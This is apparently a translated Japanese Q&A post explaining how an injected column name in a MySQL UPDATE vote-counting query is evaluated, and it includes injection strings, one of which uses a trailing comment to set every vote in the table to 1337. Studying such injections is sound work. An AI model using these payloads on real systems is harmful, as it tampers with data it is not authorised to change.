例として、次のSQLクエリを考えます。
UPDATE `sqlinjection2` SET `$vote`=`$vote`+1
私たちの目標は、1回のリクエストで投票数を2つ以上増やすことです。
コード自体にアクセスできません。
$ voteに値を送信できる場合、次のように送信できます。
vote`=1, `vote`=X+`vote
クエリは次のようになります。
SET `vote`=1, `vote`=X+`vote`=`vote`=1, `vote`=X+`vote`+1;
説明: Xは数値です。
私の質問は、この部分はどのように機能するのですか?
`vote`=X+`vote`=`vote`=1
列voteがNULLに設定されることを理解していますが、なぜですか?
例では、値0(NULLではない)が返されます。これは、作成したクエリがブール比較になったためです。 =
UPDATEステートメントの代入部分内には比較演算子があり、予想される代入演算子ではありません。
注射vote`=1, `vote`=10+`vote
クエリの結果UPDATE mytable SET /*part1*/`vote`=1, /*part2*/`vote`=10+`vote` = `vote`=1, /*part3*/`vote`=10+`vote` + 1
これは分解されます(わかりやすくするために==を比較演算子として使用します:
PART1:
vote = 1
PART2:
vote = ((10+vote) == vote) == 1
vote = ( 11 == vote ) == 1
vote = ( 11 == 10 ) == 1
vote = FALSE == 1
vote = FALSE (0)
PART 3:
vote = 10 + vote + 1
vote = 10 + FALSE (0) + 1
vote = 11
より興味深い注入は、投票列を設定し、コメントを使用してクエリを終了することです。
$vote = "vote` = 1337 -- and we don't care about the rest";
// results in:
// UPDATE mytable set `vote` = 1337 -- and we don't care about the rest` = `vote` = 1337 -- and we don't care about the rest` + 1
MySQLは-が最初に発生した後はすべてをコメントとして無視し、値(実際には、テーブル内のすべての投票値)を1337に設定します。